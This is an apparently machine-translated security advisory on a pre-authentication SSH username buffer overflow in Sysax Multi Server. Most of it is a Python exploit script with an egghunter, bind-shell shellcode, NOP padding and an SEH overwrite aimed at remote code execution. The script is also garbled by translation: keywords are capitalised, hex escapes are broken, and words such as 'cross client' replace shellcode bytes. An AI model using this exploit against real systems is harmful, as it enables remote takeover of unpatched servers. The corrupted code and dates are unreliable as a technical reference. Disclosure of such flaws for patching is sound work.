Sysax Multi Server 'username' Field Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
Codeorigin Sysax Multi Server 5.52
Codeorigin Sysax Multi Server 5.50
Codeorigin Sysax Multi Server 5.25
Codeorigin Sysax Multi Server 4.3
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52190

Sysax Multi Server is an SSH2 and FTP Server on windows.

The Sysax Multi Server has a buffer overflow vulnerability. Attackers can exploit this vulnerability to execute arbitrary code.

<* Source: Craig Freyman

Link: http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Craig Freyman () provides the following test methods:

#! /Usr/bin/python
######################################## ######################################## ##########################
# Title: Sysax <= 5.53 SSH Username BoF Pre Auth RCE (Egghunter)
# Author: Craig Freyman (@ cd1zz)
# OS Tested: XP SP3 32bit, 2003 Server SP2 (No DEP)
# Software Versions Tested: 5.53, 5.52, 5.50
# Date Discovered: Febrary 22,201 2
# Vendor Contacted: Febrary 23,201 2
# Vendor Response: February 27,201 2
# Vendor Fix: Sysax 5.55
# Detailed Exploit Description: http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html
######################################## ######################################## ##########################
Import paramiko, OS, sys
If len (sys. argv )! = 3:
Print "[+] Usage:./filename <Target
IP> <Port>"
Sys. exit (1)
Host = sys. argv [1]
Port = int (sys. argv [2])
Egghunter = (
"\ X66 \ x81 \ xca \ xff \ x0f \ x42 \ x52 \ x6a \ x02 \ x58 \ xcd \ x2e \ x3c \ x05"
"\ X5a \ x74 \ xef \ xb8 \ x44 \ x4e \ x57 \ x50 \ x8b \ xfa \ xaf \ x75 \ xea \ xaf"
"\ X75 \ xe7 \ xff \ xe7 ")
# Msfpayload windows/shell_bind_tcp LPORT = 4444 R | msfencode-e x86/alpha_mixed X
Shell = ("DNWPDNWP"
"\ X89 \ xe0 \ xda \ xdf \ xd9 \ xf4 \ x5b \ x53 \ x59 \ x49 \ x49 \ x49 \ x49 \ x49"
"\ X49 \ x49 \ x49 \ x49 \ x49 \ x49 \ x43 \ x43 \ x43 \ x43 \ x43 \ x43 \ x43 \ x37 \ x51"
"\ X5a \ x6a \ x41 \ x58 \ x50 \ x30 \ x41 \ x30 \ x41 \ x6b \ x41 \ x41 \ x51 \ x32"
"\ X41 \ x42 \ x32 \ x42 \ x42 \ x30 \ x42 \ x42 \ x41 \ x42 \ x58 \ x50 \ x38 \ x41"
"\ X42 \ x75 \ x4a \ x49 \ x69 \ x6c \ x68 \ x68 \ x6d \ x59 \ x77 \ cross 7 \ x57 \ cross"
"\ X57 \ cross client \ x33 \ x50 \ x4f \ x79 \ x39 \ x75 \ cross client \ x31 \ x7a \ x72 \ x62 \ x44"
"\ X4c \ x4b \ x52 \ x72 \ cross 7 \ x30 \ x6e \ x6b \ x32 \ x72 \ x44 \ x4c \ x4c \ x4b"
"\ X36 \ x32 \ x74 \ x54 \ x6e \ x6b \ x71 \ x62 \ x34 \ x68 \ x64 \ x4f \ x78 \ x37"
"\ X42 \ x6a \ x76 \ x46 \ x54 \ x71 \ x39 \ x6f \ x35 \ x61 \ x49 \ x50 \ x4e \ x4c"
"\ X77 \ x4c \ x61 \ x71 \ x31 \ x6c \ x66 \ x62 \ x64 \ x6c \ x75 \ cross 7 \ x39 \ x51"
"\ X58 \ x4f \ x34 \ x4d \ x66 \ x61 \ x4f \ x37 \ x6b \ x52 \ x6c \ x30 \ x73 \ x62"
"\ X30 \ x57 \ x4c \ x4b \ x36 \ x32 \ x64 \ x50 \ x4c \ x4b \ x63 \ x72 \ x77 \ x4c"
"\ X57 \ x71 \ x7a \ x6e \ x6b \ x61 \ x50 \ x72 \ x58 \ x6f \ x75 \ x79 \ x50"
"\ X61 \ x64 \ x50 \ x4a \ x63 \ x31 \ x48 \ x50 \ x30 \ x50 \ x4c \ x4b \ x53 \ x78"
"\ X56 \ x78 \ x6e \ x6b \ x50 \ x58 \ x51 \ x30 \ x35 \ x51 \ x59 \ x43 \ x69 \ x73"
"\ X57 \ x4c \ x73 \ x79 \ x4c \ x4b \ x47 \ x44 \ x6e \ x6b \ x47 \ x71 \ x79 \ x46"
"\ X44 \ x71 \ x4b \ x4f \ x35 \ x61 \ x79 \ x50 \ x6c \ x6c \ x39 \ x51 \ x5a \ x6f"
"\ X76 \ x6d \ x47 \ x71 \ x78 \ x47 \ x75 \ x68 \ x6b \ x50 \ x33 \ x45 \ x39 \ x64"
"\ X64 \ x43 \ x73 \ x4d \ x4c \ x38 \ x37 \ x4b \ x31 \ x6d \ x45 \ x74 \ x64 \ x35"
"\ X39 \ x72 \ x32 \ x78 \ x4c \ x4b \ x30 \ x58 \ x45 \ x74 \ x47 \ x71 \ x48 \ x53"
"\ X50 \ x66 \ x4c \ x4b \ x36 \ x6c \ x42 \ x6b \ x4e \ x6b \ x56 \ x38 \ x75 \ x4c"
"\ X47 \ x71 \ x39 \ x43 \ x4e \ x6b \ x56 \ x64 \ x4e \ x6b \ x33 \ x31 \ x68 \ x50"
"\ X6b \ x39 \ cross \ x44 \ x76 \ x44 \ x77 \ x54 \ x43 \ x6b \ x71 \ x4b \ x35 \ x31"
"\ X36 \ x39 \ x30 \ x5a \ x30 \ x51 \ x4b \ x4f \ x4d \ x30 \ cross 7 \ x58 \ x31 \ x4f"
"\ X42 \ x7a \ x4c \ x4b \ x55 \ x42 \ x6a \ x4b \ x4d \ x56 \ x63 \ x6d \ cross 7 \ x68"
"\ X50 \ x33 \ x36 \ x52 \ x45 \ x50 \ x67 \ cross-client \ x68 \ x31 \ x67 \ x31 \ x63"
"\ X45 \ x62 \ x71 \ x4f \ x31 \ x44 \ x61 \ x78 \ x52 \ x6c \ x62 \ x57 \ x51 \ x36"
"\ X53 \ x37 \ x59 \ x6f \ x4b \ x65 \ x6f \ x48 \ x6e \ cross 7 \ x56 \ x61 \ x67 \ cross 7"
"\ X77 \ cross \ x76 \ x49 \ x68 \ x44 \ x43 \ x64 \ x50 \ x50 \ x73 \ x58 \ x45 \ x79"
"\ X6b \ x30 \ x32 \ x4b \ x65 \ x50 \ x49 \ x6f \ x49 \ x45 \ x62 \ cross 7 \ x72 \ cross 7"
"\ X76 \ x30 \ cross \ x50 \ x53 \ cross \ x66 \ x30 \ x67 \ x30 \ x46 \ x30 \ x45 \ x38"
"\ X48 \ x6a \ x36 \ x6f \ x39 \ x4f \ x59 \ cross \ x39 \ x6f \ x78 \ x55 \ x4e \ x69"
"\ X49 \ x57 \ x36 \ x51 \ x6b \ x6b \ x52 \ x73 \ x50 \ x68 \ x56 \ x62 \ x77 \ cross"
"\ X66 \ x71 \ x31 \ x4c \ x4f \ x79 \ x6b \ x56 \ x51 \ x7a \ x36 \ cross 7 \ x72 \ x76"
"\ X32 \ x77 \ x65 \ x38 \ x4b \ x72 \ x6b \ x6b \ x64 \ x77 \ x71 \ x77 \ x4b \ x4f"
"\ X4e \ x35 \ x50 \ x53 \ x56 \ x37 \ x73 \ x58 \ x6c \ x77 \ x38 \ x69 \ x37 \ x48"
"\ X69 \ x6f \ x39 \ x6f \ x78 \ x55 \ x63 \ x63 \ x30 \ x53 \ x31 \ x47 \ x62 \ x48"
"\ X30 \ x74 \ x78 \ x6c \ x57 \ x4b \ x79 \ x71 \ x6b \ x4f \ x79 \ x45 \ x76 \ x37"
"\ X4c \ x49 \ x6f \ x37 \ x55 \ x38 \ x73 \ x45 \ x72 \ x4e \ x50 \ x4d \ x43 \ x51"
"\ X39 \ x6f \ x59 \ x45 \ x73 \ x58 \ x42 \ x43 \ x50 \ x6d \ x43 \ x54 \ x75 \ x50"
"\ X4d \ x59 \ x59 \ x73 \ x57 \ x57 \ x30 \ x57 \ x73 \ x67 \ x36 \ x51 \ x38 \ x76"
"\ X51 \ x7a \ x57 \ x62 \ x42 \ x79 \ x36 \ x36 \ x5a \ x42 \ x6b \ x4d \ x31 \ x76"
"\ X49 \ x57 \ x61 \ x54 \ x47 \ x54 \ x37 \ x4c \ x67 \ x71 \ x53 \ x31 \ x4c \ x4d"
"\ X67 \ x34 \ x77 \ x54 \ x74 \ x50 \ x7a \ x66 \ x37 \ x51 \ x54 \ x52 \ x74"
"\ X52 \ cross \ x71 \ x46 \ cross \ x56 \ x43 \ x66 \ x32 \ x66 \ x50 \ x56 \ x42 \ x6e"
"\ X50 \ x56 \ x46 \ x36 \ x61 \ x43 \ x43 \ x66 \ x53 \ x58 \ x73 \ x49 \ x58 \ x4c"
"\ X37 \ x4f \ x4d \ x56 \ x4b \ x4f \ x78 \ x55 \ x6f \ x79 \ x69 \ cross 7 \ x30 \ x4e"
"\ X50 \ x56 \ x51 \ x56 \ x39 \ x6f \ x76 \ x50 \ x61 \ x78 \ x63 \ x38 \ x4e \ x67"
"\ X67 \ x6d \ x71 \ cross client \ x59 \ x6f \ x49 \ x45 \ x6d \ x6b \ x68 \ cross client \ x4f \ x45"
"\ X4e \ x42 \ x62 \ x76 \ x72 \ x48 \ x4c \ x66 \ x4e \ x75 \ x6d \ x6d \ x6d \ x4d"
"\ X6b \ x4f \ x6a \ x75 \ x37 \ x4c \ x63 \ x36 \ x63 \ x4c \ x45 \ x5a \ x6f \ cross city"
"\ X39 \ x6b \ x39 \ x52 \ x55 \ x37 \ x75 \ x6d \ x6b \ x63 \ x77 \ x75 \ x43"
"\ X74 \ x32 \ x72 \ x4f \ x51 \ x7a \ x77 \ x50 \ x53 \ x69 \ x6f \ x38 \ x55"
"\ X41 \ x41 ")
Padding1 = "\ x90" * 50
Padding2 = "\ x90" * 50
Nseh = "\ x90 \ x90 \ xeb \ x80"
Seh = "\ x69 \ x26 \ x40 \ x00" #00402669 PPR sysaxservd.exe
Junk = "A" * (9204-len (egghunter + padding1 + padding2 + shell ))
Buff = junk + shell + padding1 + egghunter + padding2 + nseh + seh
Print "============================================ ============================================"
Print "sysyntax <= 5.53 SSH Username BoF Pre Auth RCE"
Print "by cd1zz"
Print "www.pwnag3.com"
Print "============================================ ============================================"
Try:
Transport = paramiko. Transport (host, port ))
Except t:
Print "[X] Unable to connect to" + host + "on port" + str (port)
Sys. exit (1)
Transport = paramiko. Transport (host, port ))
Print "[+] Launching exploit against" + host + "on port" + str (port)
Print "[+] Done! "
Transport. connect (username = buff, password = "pwnag3 ")
Transport. close ()

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Codeorigin
----------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.ftpshell.com/index.htm